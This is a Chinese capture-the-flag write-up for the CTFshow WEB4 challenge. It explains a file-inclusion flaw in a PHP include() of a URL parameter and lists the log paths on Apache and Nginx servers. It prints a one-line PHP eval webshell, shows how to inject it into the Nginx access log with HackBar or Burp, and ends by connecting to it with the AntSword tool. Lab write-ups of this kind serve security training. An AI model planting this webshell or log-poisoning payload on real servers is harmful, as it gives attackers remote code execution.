CTFSHOW—WEB4

知识点补充

1.代码解读:

  • 从URL参数中获取url的值

  • 使用include()函数将该值作为文件路径包含到当前PHP脚本中

2.这是一道日志注入 文件包含题目;需要注意在进行日志文件注入的时候需要分辨服务器的类型

Apache,日志存放路径:/var/log/apache/access.log

Ngnix,日志存放路径:/var/log/nginx/access.log 和 /var/log/nginx/error.log

3.一句话木马

复制代码
<?php @eval($_POST['pass']);?>
  • $_POST['pass']:接收客户端通过POST方法传递过来的、名为pass的参数。这个参数的值是一段可执行的PHP代码。

  • eval():函数将接收到的字符串当作PHP代码来执行。

  • @:符号用于屏蔽执行过程中可能产生的错误信息,使其更加隐蔽。

4.中国蚁剑

使用一句话木马所留的后门进行连接,读取网站内容

解题思路

1.判断服务器类型:使用wappalyzer插件,此服务器是nginx

2.读取日志文件发现可以只有/var/log/nginx/access.log可以爆出数据

现在有两种方法进行解题

a.使用插件HackBar直接上传post请求写入一句话木马:<?php @eval($_POST'pass');?>

b.使用burp抓包然后添加一句话

3.使用蚁剑,直接连接

相关推荐
deepseek233 小时前
MCP SSRF 连环漏洞拆解:从 Google 到 mcp-server-fetch,Agent 的信任链如何变成攻击链
安全·漏洞分析·ssrf·ai agent·mcp
每日品牌解读3 小时前
企业经由 API 调用大模型,推荐哪些拥有数据隐私保护能力的平台?
运维·网络
Xudde.3 小时前
Mr-Robot 靶机渗透测试(Vulnhub Writeup)
笔记·学习·安全·web安全
聚铭网络4 小时前
你的“三高一弱”排查到位了吗?
安全
weixin199701080164 小时前
《京东JOS API:落地方案、接口边界与业务踩坑 —— 联盟免费 vs 商家按量的双轨制》(附python源码)
java·网络·python
每日品牌解读4 小时前
企业希望灵活切换大模型并降低应用改造成本,推荐使用什么平台?
大数据·网络·人工智能
刘婉晴4 小时前
【Metasploit渗透测试魔鬼训练营】初识Metasploit
网络安全
kiros_wang4 小时前
网络状态监听&WiFi信息获取:弱网提示、断网兜底方案
开发语言·网络·php
tianbin9114 小时前
大模型训练全流程中,API聚合网关如何解决多模型调度难题
网络·后端